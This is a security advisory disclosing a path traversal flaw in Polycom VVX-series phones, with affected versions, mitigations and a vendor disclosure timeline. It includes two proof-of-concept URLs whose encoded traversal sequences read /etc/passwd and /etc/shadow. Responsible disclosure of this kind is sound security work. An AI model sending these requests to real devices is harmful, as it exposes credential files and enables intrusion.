46 lines
No EOL
1.8 KiB
Text
46 lines
No EOL
1.8 KiB
Text
Polycom VVX-Series Business Media Phones Path Traversal Vulnerability
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--Summary--
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Polycom VVX-series Business Media Phones allow authenticated users to execute file path traversal attacks
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# Polycom
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# http://www.polycom.com
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--Affects--
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# Polycom VVX 101, 201, 300, 310, 400, 410, 500, 600, & 1500
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# UC Software 4.1.8 and earlier, 5.2.3 and earlier, 5.3.1 and earlier, 5.4.0 and earlier
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--Details--
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Polycom VVX-series IP phones provide a web administrative interface. Inside this interface we discovered two URLs that exposed a "file=filename" parameters. Due to unsafe file system operations in this interface, it is possible to exploit the following pages, and possibly others, using path traversal attacks:
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http://a.b.c.d/Preferences/Ringtone?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
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http://a.b.c.d/Preferences/Background?file=.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow
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--Mitigation--
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Upgrade to the latest version of UC Software available.
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Disable or restrict access to the web interface.
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--Timeline--
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# 6/16/2015: Notified Polycom about the issue
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# 6/17/2015: Polycom responds, indicates it is investigating
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# 6/18/2015: Polycom acknowledges vulnerability legitimacy
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# 6/26/2015: Polycom waiting on estimate for fix from engineering
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# 7/22/2015: Polycom provides with projected timelines for fixes
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# 11/24/2015: Polycom confirms all VVX branches are patched
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# 12/9/2015: Polycom issues public vulnerability advisory
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--References--
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https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability
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http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf
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Jake Reynolds
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Partner/Principal Consultant
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www.depthsecurity.com |